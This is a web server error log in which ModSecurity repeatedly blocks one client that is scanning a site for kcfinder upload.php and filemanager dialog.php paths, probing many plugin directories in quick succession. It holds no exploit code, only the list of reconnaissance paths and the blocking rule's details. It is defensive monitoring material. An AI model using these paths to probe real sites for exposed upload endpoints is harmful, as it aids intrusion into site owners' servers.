[Sun May 24 20:46:45.839211 2026] [:error] [pid 11368:tid 11374] [client 134.199.171.224:59596] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/media/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWCwAAAQQ"]
[Sun May 24 20:46:45.852017 2026] [:error] [pid 11282:tid 11347] [client 134.199.171.224:59602] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jquery/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-NCQAAAMc"]
[Sun May 24 20:46:45.861805 2026] [:error] [pid 15835:tid 15856] [client 134.199.171.224:59604] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application/themes/admin/assets/js/kcfinder/upload.php"] [unique_id "ahLzNWWbknYlUM9P0qO8YAAAABM"]
[Sun May 24 20:46:45.871637 2026] [:error] [pid 11282:tid 11342] [client 134.199.171.224:59620] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-NCgAAAMI"]
[Sun May 24 20:46:45.872608 2026] [:error] [pid 11282:tid 11359] [client 134.199.171.224:59636] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app/webroot/js/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-NCwAAANM"]
[Sun May 24 20:46:45.877379 2026] [:error] [pid 15835:tid 15859] [client 134.199.171.224:59638] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app/webroot/kcfinder/upload.php"] [unique_id "ahLzNWWbknYlUM9P0qO8YQAAABY"]
[Sun May 24 20:46:45.878822 2026] [:error] [pid 15835:tid 15861] [client 134.199.171.224:59642] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/ckeditor/kcfinder/upload.php"] [unique_id "ahLzNWWbknYlUM9P0qO8YgAAABg"]
[Sun May 24 20:46:45.894039 2026] [:error] [pid 11368:tid 11389] [client 134.199.171.224:59646] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jquery/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWDQAAARM"]
[Sun May 24 20:46:45.895280 2026] [:error] [pid 11368:tid 11390] [client 134.199.171.224:59654] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWDgAAARQ"]
[Sun May 24 20:46:45.903427 2026] [:error] [pid 11280:tid 11291] [client 134.199.171.224:59664] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application/themes/admin/assets/js/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJ1wAAAEY"]
[Sun May 24 20:46:45.920743 2026] [:error] [pid 11280:tid 11301] [client 134.199.171.224:59676] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/ckeditor/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJ2AAAAFA"]
[Sun May 24 20:46:45.935684 2026] [:error] [pid 11280:tid 11307] [client 134.199.171.224:59698] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJ2QAAAFY"]
[Sun May 24 20:46:45.936583 2026] [:error] [pid 11368:tid 11378] [client 134.199.171.224:59682] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jquery/kcfinder/upload.php"] [unique_id "ahLzNYfq_sTmmtTKm1UWDwAAAQg"]
[Sun May 24 20:46:45.946632 2026] [:error] [pid 11282:tid 11354] [client 134.199.171.224:59712] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/application/themes/admin/assets/js/kcfinder/upload.php"] [unique_id "ahLzNe0bPyN3C7HZ1R-NDAAAAM4"]
[Sun May 24 20:46:45.979554 2026] [:error] [pid 11280:tid 11306] [client 134.199.171.224:59718] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahLzNYRn5s7laoSxy1QJ2gAAAFU"]
[Sun May 24 20:46:46.077447 2026] [:error] [pid 11368:tid 11394] [client 134.199.171.224:59734] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asset/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWEAAAARg"]
[Sun May 24 20:46:46.089770 2026] [:error] [pid 11282:tid 11340] [client 134.199.171.224:59740] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/phpformbuilder/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NDQAAAMA"]
[Sun May 24 20:46:46.092923 2026] [:error] [pid 11280:tid 11299] [client 134.199.171.224:59748] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "ahLzNoRn5s7laoSxy1QJ2wAAAE4"]
[Sun May 24 20:46:46.094526 2026] [:error] [pid 11280:tid 11288] [client 134.199.171.224:59760] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/core/kcfinder/upload.php"] [unique_id "ahLzNoRn5s7laoSxy1QJ3AAAAEM"]
[Sun May 24 20:46:46.095674 2026] [:error] [pid 11368:tid 11371] [client 134.199.171.224:59770] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWEQAAAQE"]
[Sun May 24 20:46:46.103244 2026] [:error] [pid 11280:tid 11287] [client 134.199.171.224:59782] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "ahLzNoRn5s7laoSxy1QJ3QAAAEI"]
[Sun May 24 20:46:46.106137 2026] [:error] [pid 11280:tid 11309] [client 134.199.171.224:59794] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/js/kcfinder/upload.php"] [unique_id "ahLzNoRn5s7laoSxy1QJ3gAAAFg"]
[Sun May 24 20:46:46.111101 2026] [:error] [pid 11281:tid 11318] [client 134.199.171.224:59802] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/scripts/filemanager/dialog.php"] [unique_id "ahLzNpKmC9taWvA91j5z-gAAAIU"]
[Sun May 24 20:46:46.119132 2026] [:error] [pid 11282:tid 11358] [client 134.199.171.224:59808] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NDgAAANI"]
[Sun May 24 20:46:46.120399 2026] [:error] [pid 11282:tid 11353] [client 134.199.171.224:59818] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asset/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NDwAAAM0"]
[Sun May 24 20:46:46.131923 2026] [:error] [pid 11282:tid 11350] [client 134.199.171.224:59820] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/phpformbuilder/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NEAAAAMo"]
[Sun May 24 20:46:46.138174 2026] [:error] [pid 15835:tid 15837] [client 134.199.171.224:59830] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8YwAAAAA"]
[Sun May 24 20:46:46.142511 2026] [:error] [pid 15835:tid 15844] [client 134.199.171.224:59844] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/core/kcfinder/upload.php"] [unique_id "ahLzNmWbknYlUM9P0qO8ZAAAAAc"]
[Sun May 24 20:46:46.143766 2026] [:error] [pid 11368:tid 11385] [client 134.199.171.224:59858] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWEgAAAQ8"]
[Sun May 24 20:46:46.144565 2026] [:error] [pid 11368:tid 11386] [client 134.199.171.224:59866] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWEwAAARA"]
[Sun May 24 20:46:46.178231 2026] [:error] [pid 11368:tid 11381] [client 134.199.171.224:59916] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWFAAAAQs"]
[Sun May 24 20:46:46.182651 2026] [:error] [pid 11282:tid 11344] [client 134.199.171.224:59908] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/scripts/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NEQAAAMQ"]
[Sun May 24 20:46:46.183271 2026] [:error] [pid 11368:tid 11379] [client 134.199.171.224:59882] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/js/kcfinder/upload.php"] [unique_id "ahLzNofq_sTmmtTKm1UWFQAAAQk"]
[Sun May 24 20:46:46.185050 2026] [:error] [pid 11282:tid 11346] [client 134.199.171.224:59892] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NEgAAAMY"]
[Sun May 24 20:46:46.185755 2026] [:error] [pid 11282:tid 11351] [client 134.199.171.224:59888] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NEwAAAMs"]
[Sun May 24 20:46:46.193844 2026] [:error] [pid 11368:tid 11391] [client 134.199.171.224:59934] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/phpformbuilder/plugins/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWFgAAARU"]
[Sun May 24 20:46:46.199856 2026] [:error] [pid 11368:tid 11393] [client 134.199.171.224:59928] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asset/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWFwAAARc"]
[Sun May 24 20:46:46.200973 2026] [:error] [pid 11368:tid 11387] [client 134.199.171.224:59924] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/scripts/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWGAAAARE"]
[Sun May 24 20:46:46.207890 2026] [:error] [pid 11282:tid 11341] [client 134.199.171.224:59958] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NFAAAAME"]
[Sun May 24 20:46:46.209567 2026] [:error] [pid 11282:tid 11348] [client 134.199.171.224:59946] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NFQAAAMg"]
[Sun May 24 20:46:46.210502 2026] [:error] [pid 11282:tid 11343] [client 134.199.171.224:59968] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/core/kcfinder/upload.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NFgAAAMM"]
[Sun May 24 20:46:46.212738 2026] [:error] [pid 11368:tid 11382] [client 134.199.171.224:59976] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWGQAAAQw"]
[Sun May 24 20:46:46.219916 2026] [:error] [pid 11282:tid 11349] [client 134.199.171.224:59992] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/plugins/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NFwAAAMk"]
[Sun May 24 20:46:46.224855 2026] [:error] [pid 11368:tid 11375] [client 134.199.171.224:60000] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/scripts/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWGgAAAQU"]
[Sun May 24 20:46:46.225972 2026] [:error] [pid 11280:tid 11298] [client 134.199.171.224:60008] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/js/kcfinder/upload.php"] [unique_id "ahLzNoRn5s7laoSxy1QJ3wAAAE0"]
[Sun May 24 20:46:46.227652 2026] [:error] [pid 11282:tid 11345] [client 134.199.171.224:60024] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NGAAAAMU"]
[Sun May 24 20:46:46.229864 2026] [:error] [pid 11368:tid 11383] [client 134.199.171.224:60026] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWGwAAAQ0"]
[Sun May 24 20:46:46.242569 2026] [:error] [pid 11282:tid 11363] [client 134.199.171.224:60034] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/scripts/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NGQAAANc"]
[Sun May 24 20:46:46.269550 2026] [:error] [pid 11368:tid 11373] [client 134.199.171.224:60044] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWHAAAAQM"]
[Sun May 24 20:46:46.271081 2026] [:error] [pid 11282:tid 11357] [client 134.199.171.224:60048] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/assets/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NGgAAANE"]
[Sun May 24 20:46:46.285183 2026] [:error] [pid 11280:tid 11295] [client 134.199.171.224:60060] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/scripts/filemanager/dialog.php"] [unique_id "ahLzNoRn5s7laoSxy1QJ4QAAAEo"]
[Sun May 24 20:46:46.305682 2026] [:error] [pid 11368:tid 11377] [client 134.199.171.224:60070] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWHQAAAQc"]
[Sun May 24 20:46:46.313366 2026] [:error] [pid 11282:tid 11352] [client 134.199.171.224:60076] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/js/tinymce4/plugins/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NGwAAAMw"]
[Sun May 24 20:46:46.321077 2026] [:error] [pid 11368:tid 11380] [client 134.199.171.224:60082] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWHgAAAQo"]
